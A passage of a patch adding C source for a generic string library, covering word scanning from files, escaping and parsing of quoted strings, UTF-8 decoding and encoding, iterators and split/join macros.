+     and we read the next char. If the next char is a separator, we successful
+     read a word, otherwise we have to continue parsing.
+     The user shall give a constant string as the separator argument,
+     as a control over this argument may give an attacker
+     an opportunity for stack overflow */
+  while (snprintf(buffer, sizeof buffer -1, " %%%zu[^%s]%%c", (size_t) alloc-1-size, separator) > 0
+         /* We may read one or two argument(s) */
+         && m_core_fscanf(f, buffer, m_core_arg_size(&ptr[size], alloc-size), &c) >= 1) {
+    retcode = true;
+    size += strlen(&ptr[size]);
+    /* If we read only one argument 
+       or if the final read character is a separator */
+    if (c == 0 || strchr(separator, c) != NULL)
+      break;
+    /* Next char is not a separator: continue parsing */
+    m_str1ng_set_size(v, size);
+    M_IF_EXCEPTION( m_str1ng_get_cstr(v)[size] = 0);
+    ptr = m_str1ng_fit2size M_R(v, alloc + alloc/2);
+    alloc = m_string_capacity(v);
+    M_ASSERT (alloc > size + 1);
+    ptr[size++] = c;
+    ptr[size] = 0;
+    // Invalid c character for next iteration
+    c= 0;
+  }
+  m_str1ng_set_size(v, size);
+  M_STR1NG_CONTRACT(v);  
+  return retcode;
+}
+
+/* Put the string in the given FILE without formatting */
+M_INLINE bool
+m_string_fputs(FILE *f, const m_string_t v)
+{
+  M_STR1NG_CONTRACT (v);
+  M_ASSERT (f != NULL);
+  return fputs(m_string_get_cstr(v), f) >= 0;
+}
+
+#endif // Have stdio
+
+/* Test if the string starts with the given C string */
+M_INLINE bool
+m_string_start_with_str_p(const m_string_t v, const char str[])
+{
+  M_STR1NG_CONTRACT (v);
+  M_ASSERT (str != NULL);
+  const char *v_str = m_string_get_cstr(v);
+  while (*str){
+    if (*str != *v_str)
+      return false;
+    str++;
+    v_str++;
+  }
+  return true;
+}
+
+/* Test if the string starts with the other string */
+M_INLINE bool
+m_string_start_with_string_p(const m_string_t v, const m_string_t v2)
+{
+  M_STR1NG_CONTRACT (v2);
+  return m_string_start_with_str_p (v, m_string_get_cstr(v2));
+}
+
+/* Test if the string ends with the C string */
+M_INLINE bool
+m_string_end_with_str_p(const m_string_t v, const char str[])
+{
+  M_STR1NG_CONTRACT (v);
+  M_ASSERT (str != NULL);
+  const char *v_str  = m_string_get_cstr(v);
+  const size_t v_l   = m_string_size(v);
+  const size_t str_l = strlen(str);
+  if (v_l < str_l)
+    return false;
+  return (memcmp(str, &v_str[v_l - str_l], str_l) == 0);
+}
+
+/* Test if the string ends with the other string */
+M_INLINE bool
+m_string_end_with_string_p(const m_string_t v, const m_string_t v2)
+{
+  M_STR1NG_CONTRACT (v2);
+  return m_string_end_with_str_p (v, m_string_get_cstr(v2));
+}
+
+/* Compute a hash for the string */
+M_INLINE size_t
+m_string_hash(const m_string_t v)
+{
+  M_STR1NG_CONTRACT (v);
+  return m_core_hash(m_string_get_cstr(v), m_string_size(v));
+}
+
+// Return true if c is a character from the C-String tab
+M_INLINE bool
+m_str1ng_strim_char(char c, const char tab[])
+{
+  for(const char *s = tab; *s; s++) {
+    if (c == *s)
+      return true;
+  }
+  return false;
+}
+
+/* Remove any characters from tab that are present 
+   in the beginning of the string and the end of the string. */
+M_INLINE void
+m_string_strim(m_string_t v, const char tab[])
+{
+  M_STR1NG_CONTRACT (v);
+  char *ptr = m_str1ng_get_cstr(v);
+  char *b   = ptr;
+  size_t size = m_string_size(v);
+  while (size > 0 && m_str1ng_strim_char(b[size-1], tab))
+    size --;
+  if (size > 0) {
+    while (m_str1ng_strim_char(*b, tab))
+      b++;
+    M_ASSERT (b >= ptr &&  size >= (size_t) (b - ptr) );
+    size -= (size_t) (b - ptr);
+    memmove (ptr, b, size);
+  }
+  ptr[size] = 0;
+  m_str1ng_set_size(v, size);
+  M_STR1NG_CONTRACT (v);
+}
+
+/* Test if the string is equal to the OOR value */
+M_INLINE bool
+m_string_oor_equal_p(const m_string_t s, unsigned char n)
+{
+  return (s->u.buffer[sizeof (m_str1ng_heap_ct)-2] == 0) & (s->u.buffer[sizeof (m_str1ng_heap_ct)-1] == (char) ~n);
+}
+
+/* Set the uninitialized string to the OOR value */
+M_INLINE void
+m_string_oor_set(m_string_t s, unsigned char n)
+{
+  s->u.buffer[sizeof (m_str1ng_heap_ct)-2] = 0;
+  s->u.buffer[sizeof (m_str1ng_heap_ct)-1] = (char) ~n;
+}
+
+/* I/O */
+/* Output: "string" with quote around
+   Replace " by \" within the string (and \ to \\)
+   \n, \t & \r by their standard representation
+   and other not printable character with \0xx */
+
+/* Transform the string 'v2' into a formatted string
+   and set it to (or append in) the string 'v'. */
+M_P(void, m_string, _get_str, m_string_t v, const m_string_t v2, bool append)
+{
+  M_STR1NG_CONTRACT(v2);
+  M_STR1NG_CONTRACT(v);
+  M_ASSERT (v != v2); // Limitation
+  size_t size = append ? m_string_size(v) : 0;
+  size_t v2_size = m_string_size(v2);
+  size_t targetSize = size + v2_size + 3;
+  char *ptr = m_str1ng_fit2size M_R(v, targetSize);
+  ptr[size ++] = '"';
+  for(size_t i = 0 ; i < v2_size; i++) {
+    const char c = m_string_get_char(v2,i);
+    switch (c) {
+    case '\\':
+    case '"':
+    case '\n':
+    case '\t':
+    case '\r':
+      // Special characters which can be displayed in a short form.
+      m_str1ng_set_size(v, size);
+      ptr = m_str1ng_fit2size M_R(v, ++targetSize);
+      ptr[size ++] = '\\';
+      // This string acts as a perfect hashmap which supposes an ASCII mapping
+      // and (c^(c>>5)) is the hash function
+      ptr[size ++] = " tn\" r\\"[(c ^ (c >>5)) & 0x07];
+      break;
+    default:
+      if (M_UNLIKELY (!isprint((unsigned char) c))) {
+        targetSize += 3;
+        m_str1ng_set_size(v, size);
+        M_IF_EXCEPTION(m_str1ng_get_cstr(v)[size] = 0);
+        ptr = m_str1ng_fit2size M_R(v, targetSize);
+        int d1 = c & 0x07, d2 = (c>>3) & 0x07, d3 = (c>>6) & 0x07;
+        ptr[size ++] = '\\';
+        ptr[size ++] = (char) ('0' + d3);
+        ptr[size ++] = (char) ('0' + d2);
+        ptr[size ++] = (char) ('0' + d1);
+      } else {
+        ptr[size ++] = c;
+      }
+      break;
+    }
+  }
+  ptr[size ++] = '"';
+  ptr[size] = 0;
+  m_str1ng_set_size(v, size);
+  M_ASSERT (size <= targetSize);
+  M_STR1NG_CONTRACT (v);
+}
+
+#if M_USE_STDIO
+
+/* Transform the string 'v2' into a formatted string
+   and output it in the given FILE */
+M_INLINE void
+m_string_out_str(FILE *f, const m_string_t v)
+{
+  M_STR1NG_CONTRACT(v);
+  M_ASSERT (f != NULL);
+  fputc('"', f);
+  size_t size = m_string_size(v);
+  for(size_t i = 0 ; i < size; i++) {
+    const char c = m_string_get_char(v, i);
+    switch (c) {
+    case '\\':
+    case '"':
+    case '\n':
+    case '\t':
+    case '\r':
+      fputc('\\', f);
+      fputc(" tn\" r\\"[(c ^ c >>5) & 0x07], f);
+      break;
+    default:
+      if (M_UNLIKELY (!isprint(c))) {
+        int d1 = c & 0x07, d2 = (c>>3) & 0x07, d3 = (c>>6) & 0x07;
+        fputc('\\', f);
+        fputc('0' + d3, f);
+        fputc('0' + d2, f);
+        fputc('0' + d1, f);
+      } else {
+        fputc(c, f);
+      }
+      break;
+    }
+  }
+  fputc('"', f);
+}
+
+/* Read the formatted string from the FILE
+   and set the converted value in the string 'v'.
+   Return true in case of success */
+M_P(bool, m_string, _in_str, m_string_t v, FILE *f)
+{
+  M_STR1NG_CONTRACT(v);
+  M_ASSERT (f != NULL);
+  int c = fgetc(f);
+  if (c != '"') return false;
+  m_string_reset(v);
+  c = fgetc(f);
+  while (c != '"' && c != EOF) {
+    if (M_UNLIKELY (c == '\\')) {
+      c = fgetc(f);
+      switch (c) {
+      case 'n':
+      case 't':
+      case 'r':
+      case '\\':
+      case '\"':
+        // This string acts as a perfect hashmap which supposes an ASCII mapping
+        // and (c^(c>>5)) is the hash function
+        c = " \r \" \n\\\t"[(c^(c>>5))& 0x07];
+        break;
+      default:
+        if (!(c >= '0' && c <= '7'))
+          return false;
+        int d1 = c - '0';
+        c = fgetc(f);
+        if (!(c >= '0' && c <= '7'))
+          return false;
+        int d2 = c - '0';
+        c = fgetc(f);
+        if (!(c >= '0' && c <= '7'))
+          return false;
+        int d3 = c - '0';
+        c = (d1 << 6) + (d2 << 3) + d3;
+        break;
+      }
+    }
+    m_string_push_back M_R(v, (char) c);
+    c = fgetc(f);
+  }
+  return c == '"';
+}
+
+#endif // Have stdio
+
+/* Read the formatted string from the C string
+   and set the converted value in the string 'v'.
+   Return true in case of success
+   If endptr is not null, update the position of the parsing.
+*/
+M_P(bool, m_string, _parse_str, m_string_t v, const char str[], const char **endptr)
+{
+  M_STR1NG_CONTRACT(v);
+  M_ASSERT (str != NULL);
+  bool success = false;
+  int c = *str++;
+  if (c != '"') goto exit;
+  m_string_reset(v);
+  c = *str++;
+  while (c != '"' && c != 0) {
+    if (M_UNLIKELY (c == '\\')) {
+      c = *str++;
+      switch (c) {
+      case 'n':
+      case 't':
+      case 'r':
+      case '\\':
+      case '\"':
+        // This string acts as a perfect hashmap which supposes an ASCII mapping
+        // and (c^(c>>5)) is the hash function
+        c = " \r \" \n\\\t"[(c^(c>>5))& 0x07];
+        break;
+      default:
+        if (!(c >= '0' && c <= '7'))
+          goto exit;
+        int d1 = c - '0';
+        c = *str++;
+        if (!(c >= '0' && c <= '7'))
+          goto exit;
+        int d2 = c - '0';
+        c = *str++;
+        if (!(c >= '0' && c <= '7'))
+          goto exit;
+        int d3 = c - '0';
+        c = (d1 << 6) + (d2 << 3) + d3;
+        break;
+      }
+    }
+    m_string_push_back M_R(v, (char) c);
+    c = *str++;
+  }
+  success = (c == '"');
+ exit:
+  if (endptr != NULL) *endptr = str;
+  return success;
+}
+
+/* Transform the string 'v2' into a formatted string
+   and output it in the given serializer
+   See serialization for return code.
+*/
+M_P(m_serial_return_code_t, m_string, _out_serial, m_serial_write_t serial, const m_string_t v)
+{
+  M_ASSERT (serial != NULL && serial->m_interface != NULL);
+  return serial->m_interface->write_string M_R(serial, m_string_get_cstr(v), m_string_size(v) );
+}
+
+/* Read the formatted string from the serializer
+   and set the converted value in the string 'v'.
+   See serialization for return code.
+*/
+M_P(m_serial_return_code_t, m_string, _in_serial, m_string_t v, m_serial_read_t serial)
+{
+  M_ASSERT (serial != NULL && serial->m_interface != NULL);
+  return serial->m_interface->read_string M_R(serial, v);
+}
+
+/* UTF8 character classification:
+ * 
+ * 0*       --> type 1 byte  A
+ * 10*      --> chained byte B
+ * 110*     --> type 2 byte  C
+ * 1110*    --> type 3 byte  D
+ * 11110*   --> type 4 byte  E
+ * 111110*  --> invalid      I
+ */
+/* UTF8 State Transition table:
+ *    ABCDEI
+ *   +------
+ *  S|SI123III
+ *  1|ISIIIIII
+ *  2|I1IIIIII
+ *  3|I2IIIIII
+ *  I|IIIIIIII
+ */
+
+/* The use of a string enables the compiler/linker to factorize it. */
+#define M_STR1NG_UTF8_STATE_TAB                                               \
+  "\000\040\010\020\030\040\040\040"                                          \
+  "\040\000\040\040\040\040\040\040"                                          \
+  "\040\010\040\040\040\040\040\040"                                          \
+  "\040\020\040\040\040\040\040\040"                                          \
+  "\040\040\040\040\040\040\040\040"
+
+/* Main generic UTF8 decoder
+   It shall be (nearly) branchless on any CPU.
+   It takes a byte, and the previous state and the previous value of the unicode code point.
+   It updates the state and the decoded unicode code point.
+   A decoded unicode code point is valid only when the state is STARTING.
+ */
+M_INLINE void
+m_str1ng_utf8_decode(char c, m_str1ng_utf8_state_e *state,
+                    m_string_unicode_t *unicode)
+{
+  const unsigned int type = m_core_clz32((unsigned char)~c) - (unsigned) (sizeof(uint32_t) - 1) * CHAR_BIT;
+  const m_string_unicode_t mask1 = (UINT32_MAX - (m_string_unicode_t)(*state != M_STR1NG_UTF8_STARTING) + 1);
+  const m_string_unicode_t mask2 = (0xFFU >> type);
+  const m_string_unicode_t c1 = (m_string_unicode_t) c;
+  *unicode = ((*unicode << 6) & mask1) | (c1 & mask2);
+  *state = (m_str1ng_utf8_state_e) M_STR1NG_UTF8_STATE_TAB[(unsigned int) *state + type];
+}
+
+/* Check if the given array of characters is a valid UTF8 stream */
+/* NOTE: Non-canonical representation are not always rejected */
+M_INLINE bool
+m_str1ng_utf8_valid_str_p(const char str[])
+{
+  m_str1ng_utf8_state_e s = M_STR1NG_UTF8_STARTING;
+  m_string_unicode_t u = 0;
+  while (*str) {
+    m_str1ng_utf8_decode(*str, &s, &u);
+    if ((s == M_STR1NG_UTF8_ERROR)
+        ||(s == M_STR1NG_UTF8_STARTING
+           &&(u > 0x10FFFF /* out of range */
+              ||(u >= 0xD800 && u <= 0xDFFF) /* surrogate halves */)))
+      return false;
+    str++;
+  }
+  return true;
+}
+
+/* Test if the given byte is the start of an UTF8 code point */
+M_INLINE bool
+m_str1ng_utf8_start_p(unsigned char val)
+{
+  return ((val & 0xC0u) != 0x80u);
+}
+
+/* Computer the number of unicode code points are encoded in the UTF8 stream */
+M_INLINE size_t
+m_str1ng_utf8_length(const char str[])
+{
+  size_t size = 0;
+  while (*str) {
+    unsigned char val = (unsigned char) *str++;
+    size += m_str1ng_utf8_start_p(val);
+  }
+  return size;
+}
+
+/* Encode an unicode code point into an UTF8 stream */
+M_INLINE int
+m_str1ng_utf8_encode(char buffer[5], m_string_unicode_t u)
+{
+  if (M_LIKELY (u <= 0x7Fu)) {
+    buffer[0] = (char) u;
+    buffer[1] = 0;
+    return 1;
+  } else if (u <= 0x7FFu) {
+    buffer[0] = (char) (0xC0u | (u >> 6));
+    buffer[1] = (char) (0x80 | (u & 0x3Fu));
+    buffer[2] = 0;
+    return 2;
+  } else if (u <= 0xFFFFu) {
+    buffer[0] = (char) (0xE0u | (u >> 12));
+    buffer[1] = (char) (0x80u | ((u >> 6) & 0x3Fu));
+    buffer[2] = (char) (0x80u | (u & 0x3Fu));
+    buffer[3] = 0;
+    return 3;
+  } else {
+    buffer[0] = (char) (0xF0u | (u >> 18));
+    buffer[1] = (char) (0x80u | ((u >> 12) & 0x3Fu));
+    buffer[2] = (char) (0x80u | ((u >> 6) & 0x3Fu));
+    buffer[3] = (char) (0x80u | (u & 0x3F));
+    buffer[4] = 0;
+    return 4;
+  }
+}
+
+/* Start iteration over the UTF8 encoded unicode code point */
+M_INLINE void
+m_string_it(m_string_it_t it, const m_string_t str)
+{
+  M_STR1NG_CONTRACT(str);
+  M_ASSERT(it != NULL);
+  it->ptr      = m_string_get_cstr(str);
+  it->u        = 0;
+  it->string   = str;
+  M_STR1NG_IT_CONTRACT(it);
+} 
+
+/* Set the iterator to the end of string 
+   The iterator references therefore nothing.
+*/
+M_INLINE void
+m_string_it_end(m_string_it_t it, const m_string_t str)
+{
+  M_STR1NG_CONTRACT(str);
+  M_ASSERT(it != NULL);
+  it->ptr      = &m_string_get_cstr(str)[m_string_size(str)];
+  it->u        = 0;
+  it->string   = str;
+  M_STR1NG_IT_CONTRACT(it);
+}
+
+/* Set the iterator to the same position than the other one */
+M_INLINE void
+m_string_it_set(m_string_it_t it, const m_string_it_t itsrc)
+{
+  M_ASSERT(it != NULL && itsrc != NULL);
+  M_STR1NG_IT_CONTRACT(itsrc);
+  it->ptr      = itsrc->ptr;
+  it->u        = itsrc->u;
+  it->string   = itsrc->string;
+  M_STR1NG_IT_CONTRACT(it);
+}
+
+/* Set the iterator to the given position in the string.
+   The given position shall reference a valid code point in the string.
+ */
+M_INLINE void
+m_string_it_pos(m_string_it_t it, const m_string_t str, const size_t n)
+{
+  M_ASSERT(it != NULL);
+  M_STR1NG_CONTRACT(str);
+  // The offset shall be within the string
+  M_ASSERT(n <= m_string_size(str));
+  // The offset shall reference the first Byte of an UTF 8 Code point
+  M_ASSERT(m_str1ng_utf8_start_p ((unsigned char)m_string_get_cstr(str)[n]));
+  it->ptr      = &m_string_get_cstr(str)[n];
+  it->u        = 0;
+  it->string   = str;
+  M_STR1NG_IT_CONTRACT(it);
+}
+
+/* Return the current offset in the string referenced by the iterator.
+   This references avalid code point.
+ */
+M_INLINE size_t
+m_string_it_get_pos(m_string_it_t it)
+{
+  M_STR1NG_IT_CONTRACT(it);
+  return (size_t) (it->ptr - m_string_get_cstr(it->string));
+}
+
+/* Test if the iterator has reached the end of the string. */
+M_INLINE bool
+m_string_end_p (m_string_it_t it)
+{
+  M_STR1NG_IT_CONTRACT(it);
+  return it->ptr[0] == 0;
+}
+
+/* Test if the iterator is equal to the other one */
+M_INLINE bool
+m_string_it_equal_p(const m_string_it_t it1, const m_string_it_t it2)
+{
+  M_STR1NG_IT_CONTRACT(it1);
+  M_STR1NG_IT_CONTRACT(it2);
+  return it1->ptr == it2->ptr;
+}
+
+/* Advance the iterator to the next UTF8 unicode code point */
+M_INLINE void
+m_string_next (m_string_it_t it)
+{
+  M_STR1NG_IT_CONTRACT(it);
+  const char *ptr = it->ptr;
+  while (*ptr != 0) {
+    ptr ++;
+    if (m_str1ng_utf8_start_p((unsigned char) *ptr) ) {
+      /* Start of an UTF 8 code point */
+      break;
+    }
+  }
+  it->ptr = ptr;
+  return;
+}
+
+/* Move the iterator to the previous code point */
+M_INLINE void
+m_string_previous(m_string_it_t it)
+{
+  M_STR1NG_IT_CONTRACT(it);
+  const char *ptr = it->ptr;
+  const char *org = m_string_get_cstr(it->string);
+  while (ptr > org) {
+    ptr --;
+    if (m_str1ng_utf8_start_p((unsigned char) *ptr) ) {
+      /* Start of an UTF 8 code point */
+      it->ptr = ptr;
+      return;
+    }
+  }
+  /* We reach the start of the string: mark the iterator to the end */
+  it->ptr = &org[m_string_size(it->string)];
+  M_STR1NG_IT_CONTRACT(it);
+}
+
+/* Return the unicode code point associated to the iterator */
+M_INLINE m_string_unicode_t
+m_string_get_cref (const m_string_it_t it)
+{
+  M_STR1NG_IT_CONTRACT(it);
+  M_ASSERT(*it->ptr != 0);
+
+  m_str1ng_utf8_state_e state =  M_STR1NG_UTF8_STARTING;
+  m_string_unicode_t u = 0;
+  const char *str = it->ptr;
+  do {
+    m_str1ng_utf8_decode(*str, &state, &u);
+    str++;
+  } while (state != M_STR1NG_UTF8_STARTING && state != M_STR1NG_UTF8_ERROR && *str != 0);
+  // Save where the current unicode value ends in the UTF8 steam
+  M_ASSERT( (str > it->ptr) && (str - it->ptr) <= M_STR1NG_MAX_BYTE_UTF8);
+  // Save the decoded unicode value
+  return M_UNLIKELY (state == M_STR1NG_UTF8_ERROR) ? M_STRING_UNICODE_ERROR : u;
+}
+
+/* Return the unicode code point associated to the iterator */
+M_INLINE const m_string_unicode_t *
+m_string_cref (m_string_it_t it)
+{
+  M_STR1NG_IT_CONTRACT(it);
+  it->u = m_string_get_cref(it);
+  return &it->u;
+}
+
+/* Update the value referenced by the iterator to the given value */
+M_P(void, m_string, _it_set_ref, m_string_it_t it, m_string_t s, m_string_unicode_t new_u)
+{
+  M_STR1NG_IT_CONTRACT(it);
+  M_STR1NG_CONTRACT(s);
+  M_ASSERT(s == it->string);
+  char *ptr = m_str1ng_get_cstr(s);
+  M_ASSUME( it->ptr >= ptr);
+  size_t offset = (size_t) (it->ptr - ptr);
+  // Special case if the unicode codepoint is 0
+  if (M_UNLIKELY(new_u == 0)) {
+    // Null the string
+    m_str1ng_set_size(s, offset);
+    ptr[offset] = 0;
+    M_STR1NG_IT_CONTRACT(it);
+    M_STR1NG_CONTRACT(s);
+    return;
+  }
+  // Encode the new unicode code point & compute its size
+  char buffer[4+1];
+  m_str1ng_utf8_encode(buffer, new_u);
+  size_t new_u_size = strlen(buffer);
+  // Compute the size of the old unicode code point
+  m_str1ng_utf8_state_e state =  M_STR1NG_UTF8_STARTING;
+  m_string_unicode_t old_u = 0;
+  const char *str = it->ptr;
+  do {
+    m_str1ng_utf8_decode(*str, &state, &old_u);
+    str++;
+  } while (state != M_STR1NG_UTF8_STARTING && state != M_STR1NG_UTF8_ERROR && *str != 0);
+  M_ASSUME( str > it->ptr);
+  size_t old_u_size = (size_t) (str - it->ptr);
+  // We need to replace old_u by new_u. Both are variable length
+  size_t str_size = m_string_size(s);
+  if (M_UNLIKELY (new_u_size != old_u_size)) {
+    ptr = m_str1ng_fit2size M_R(s, str_size + new_u_size - old_u_size + 1);
+    M_ASSUME( str_size+1 > (offset + old_u_size) );
+    memmove(&ptr[offset+new_u_size], &ptr[offset + old_u_size],
+            str_size+1 - offset - old_u_size);
+    m_str1ng_set_size(s, str_size + new_u_size - old_u_size);
+  }
+  memcpy(&ptr[offset], &buffer[0], new_u_size);
+  it->ptr = &ptr[offset];
+  M_STR1NG_IT_CONTRACT(it);
+  M_STR1NG_CONTRACT(s);
+  return;
+}
+
+/* Push unicode code point into string, encoding it in UTF8 */
+M_P(void, m_string, _push_u, m_string_t str, m_string_unicode_t u)
+{
+  M_STR1NG_CONTRACT(str);
+  char buffer[4+1];
+  m_str1ng_utf8_encode(buffer, u);
+  m_string_cat_cstr M_R(str, buffer);
+}
+
+/* Pop last unicode code point into string, encoding it in UTF8 */
+M_INLINE  bool
+m_string_pop_u(m_string_unicode_t *u, m_string_t str)
+{
+  M_STR1NG_CONTRACT(str);
+  char *org = m_str1ng_get_cstr(str);
+  size_t len = m_string_size(str);
+  // From the last byte in the string
+  while (len > 0) {
+    len--;
+    // Test if it is a start of an UTF8 code point
+    if (m_str1ng_utf8_start_p((unsigned char) org[len])) {
+      // Yes, so decode the UTF8
+      m_str1ng_utf8_state_e state = M_STR1NG_UTF8_STARTING;
+      const char *tmp = &org[len];
+      // Support of NULL pointer
+      m_string_unicode_t u_tmp;
+      m_string_unicode_t *u_ptr = u == NULL ? &u_tmp : u;
+      *u_ptr = 0;
+      do {
+        m_str1ng_utf8_decode(*tmp++, &state, u_ptr);
+      } while (state != M_STR1NG_UTF8_STARTING && state != M_STR1NG_UTF8_ERROR);
+      // Final null char for the string
+      org[len] = 0;
+      m_str1ng_set_size(str, len);
+      M_STR1NG_CONTRACT(str);
+      return true;
+    }
+  }
+  // Fail to pop a unicode code
+  return false;
+}
+
+/* Compute the length in UTF8 code points in the string */
+M_INLINE size_t
+m_string_length_u(const m_string_t str)
+{
+  M_STR1NG_CONTRACT(str);
+  return m_str1ng_utf8_length(m_string_get_cstr(str));
+}
+
+/* Check if a string is a valid UTF8 encoded stream */
+M_INLINE bool
+m_string_utf8_p(const m_string_t str)
+{
+  M_STR1NG_CONTRACT(str);
+  return m_str1ng_utf8_valid_str_p(m_string_get_cstr(str));
+}
+
+
+/* Define the split & the join functions 
+   in case of usage with the algorithm module */
+#define M_STR1NG_SPLIT(name, oplist, type_oplist)                             \
+  M_P(void, name, _split, M_GET_TYPE oplist cont, const m_string_t str, const char sep) \
+  {                                                                           \
+    size_t begin = 0;                                                         \
+    m_string_t tmp;                                                           \
+    size_t size = m_string_size(str);                                         \
+    m_string_init(tmp);                                                       \
+    M_CALL_RESET(oplist, cont);                                               \
+    for(size_t i = 0 ; i < size; i++) {                                       \
+      char c = m_string_get_char(str, i);                                     \
+      if (c == sep) {                                                         \
+        m_string_set_cstrn M_R(tmp, &m_string_get_cstr(str)[begin], i - begin); \
+        /* If push move method is available, use it */                        \
+        M_IF_METHOD(PUSH_MOVE,oplist)(                                        \
+                                      M_CALL_PUSH_MOVE(oplist, cont, &tmp);   \
+                                      m_string_init(tmp);                     \
+                                      ,                                       \
+                                      M_CALL_PUSH(oplist, cont, tmp);         \
+                                                                        )     \
+          begin = i + 1;                                                      \
+      }                                                                       \
+    }                                                                         \
+    m_string_set_cstrn M_R(tmp, &m_string_get_cstr(str)[begin], size - begin); \
+    M_CALL_PUSH(oplist, cont, tmp);                                           \
+    /* HACK: if method reverse is defined, it is likely that we have */       \
+    /* inserted the items in the wrong order (aka for a list) */              \
+    M_IF_METHOD(REVERSE, oplist) (M_CALL_REVERSE(oplist, cont);, )            \
+    m_string_clear M_R(tmp);                                                  \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _join, m_string_t dst, M_GET_TYPE oplist cont, const m_string_t str) \
+  {                                                                           \
+    bool init_done = false;                                                   \
+    m_string_reset (dst);                                                     \
+    for M_EACH(item, cont, oplist) {                                          \
+        if (init_done) {                                                      \
+          m_string_cat M_R(dst, str);                                         \
+        }                                                                     \
+        m_string_cat M_R(dst, *item);                                         \
+        init_done = true;                                                     \
+    }                                                                         \
+  }                                                                           \
+
+
+/* Use of Compound Literals to init a constant string.
+   NOTE: The use of the additional structure layer is to ensure
+   that the pointer to char is properly aligned to an int (this
+   is a needed assumption by m_string_hash).
+   Otherwise it could have been :
+   #define M_STRING_CTE(s)                                                    \
+     ((const m_string_t){{.size = sizeof(s)-1, .alloc = sizeof(s),            \
+     .ptr = s}})
+   which produces faster code.
+   Note: This code doesn't work with C++ (use of c99 feature
+   of recursive struct definition and compound literal). 
+   As such, there is a separate C++ definition.
+*/
+#ifndef __cplusplus
+/* Initialize a constant string with the given C string */
+# define M_STRING_CTE(s)                                                      \
+  (m_string_srcptr)((const m_string_t){{.u.heap = { .size = sizeof(s)-1,      \
+        .alloc = { [sizeof(m_str1ng_size_t)-2] = 1, [sizeof(m_str1ng_size_t)-1] = 31}, \
+        .ptr = ((struct { long long _n; char _d[sizeof (s)]; }){ 0, s })._d }}})
+#else
+namespace m_lib {
+  template <unsigned int N>
+    struct m_aligned_string {
+      m_string_t string;
+      union  {
+        char str[N];
+        long long i;
+      };
+    inline m_aligned_string(const char lstr[])
+      {
+        this->string->u.heap.size = N -1;
+        this->string->u.heap.alloc[sizeof(m_str1ng_size_t)-2] = 1;
+        this->string->u.heap.alloc[sizeof(m_str1ng_size_t)-1] = 31;
+        memcpy (this->str, lstr, N);
+        this->string->u.heap.ptr = this->str;
+      }
+    };
+}
+/* Initialize a constant string with the given C string (C++ mode) */
+#define M_STRING_CTE(s)                                                       \
+  m_lib::m_aligned_string<sizeof (s)>(s).string
+#endif
+
+#ifdef M_USE_CONTEXT
+/* Initialize and set a string to the given formatted value. */
+#define m_string_init_printf(pool, v, ...)                                    \
+  (m_string_printf ( pool, m_str1ng_init_ref(v), __VA_ARGS__) )
+
+/* Initialize and set a string to the given formatted value. */
+#define m_string_init_vprintf(pool, v, format, args)                          \
+  (m_string_vprintf ( pool, m_str1ng_init_ref(v), format, args) )
+#else
+#define m_string_init_printf(v, ...)                                          \
+  (m_string_printf ( m_str1ng_init_ref(v), __VA_ARGS__) )
+
+/* Initialize and set a string to the given formatted value. */
+#define m_string_init_vprintf(v, format, args)                                \
+  (m_string_vprintf ( m_str1ng_init_ref(v), format, args) )
+#endif
+
+/* Initialize a string with the given list of arguments.
+   Check if it is a formatted input or not by counting the number of arguments.
+   If there is only one argument, it can only be a set to C string.
+   It is much faster in this case to call m_string_init_set_cstr.
+   In C11 mode, it uses the fact that m_string_init_set is overloaded to handle both
+   C string and string. */
+#if (defined(__STDC_VERSION__) && __STDC_VERSION__ >= 201112L)
+#define M_STR1NG_INIT_WITH(v, ...)                                            \
+  M_IF_NARGS_EQ1(__VA_ARGS__)(m_string_init_set, m_string_init_printf)M_R(v, __VA_ARGS__)
+#else
+#define M_STR1NG_INIT_WITH(v, ...)                                            \
+  M_IF_NARGS_EQ1(__VA_ARGS__)(m_string_init_set_cstr, m_string_init_printf)M_R(v, __VA_ARGS__)
+#endif
+
+/* Define the OPLIST of a STRING */
+#ifndef M_USE_CONTEXT
+#define M_STRING_OPLIST                                                       \
+  (INIT(m_string_init),INIT_SET(m_string_init_set), SET(m_string_set),        \
+   INIT_WITH(M_STR1NG_INIT_WITH),                                             \
+   INIT_MOVE(m_string_init_move), MOVE(m_string_move),                        \
+   SWAP(m_string_swap), RESET(m_string_reset),                                \
+   EMPTY_P(m_string_empty_p),                                                 \
+   CLEAR(m_string_clear), HASH(m_string_hash), EQUAL(m_string_equal_p),       \
+   CMP(m_string_cmp), TYPE(m_string_t), GENTYPE(struct m_string_s*),          \
+   PARSE_STR(m_string_parse_str), GET_STR(m_string_get_str),                  \
+   OUT_STR(m_string_out_str), IN_STR(m_string_in_str),                        \
+   OUT_SERIAL(m_string_out_serial), IN_SERIAL(m_string_in_serial),            \
+   EXT_ALGO(M_STR1NG_SPLIT),                                                  \
+   OOR_EQUAL(m_string_oor_equal_p), OOR_SET(m_string_oor_set)                 \
+   ,SUBTYPE(m_string_unicode_t)                                               \
+   ,IT_TYPE(m_string_it_t)                                                    \
+   ,IT_FIRST(m_string_it)                                                     \
+   ,IT_END(m_string_it_end)                                                   \
+   ,IT_SET(m_string_it_set)                                                   \
+   ,IT_END_P(m_string_end_p)                                                  \
+   ,IT_EQUAL_P(m_string_it_equal_p)                                           \
+   ,IT_NEXT(m_string_next)                                                    \
+   ,IT_CREF(m_string_cref), PUSH(m_string_push_u)                             \
+   ,EMPLACE_TYPE(const char*)                                                 \
+   )
+#else
+#define M_STRING_OPLIST                                                       \
+   (INIT(m_string_init),INIT_SET(API_0P(m_string_init_set)), SET(API_0P(m_string_set)), \
+    INIT_WITH(M_STR1NG_INIT_WITH),                                            \
+    INIT_MOVE(m_string_init_move), MOVE(API_0P(m_string_move)),               \
+    SWAP(m_string_swap), RESET(m_string_reset),                               \
+    EMPTY_P(m_string_empty_p),                                                \
+    CLEAR(API_0P(m_string_clear)), HASH(m_string_hash), EQUAL(m_string_equal_p), \
+    CMP(m_string_cmp), TYPE(m_string_t), GENTYPE(struct m_string_s*),         \
+    PARSE_STR(API_0P(m_string_parse_str)), GET_STR(API_0P(m_string_get_str)), \
+    OUT_STR(m_string_out_str), IN_STR(API_0P(m_string_in_str)),               \
+    OUT_SERIAL(API_0P(m_string_out_serial)), IN_SERIAL(API_0P(m_string_in_serial)), \
+    EXT_ALGO(M_STR1NG_SPLIT),                                                 \
+    OOR_EQUAL(m_string_oor_equal_p), OOR_SET(m_string_oor_set)                \
+    ,SUBTYPE(m_string_unicode_t)                                              \
+    ,IT_TYPE(m_string_it_t)                                                   \
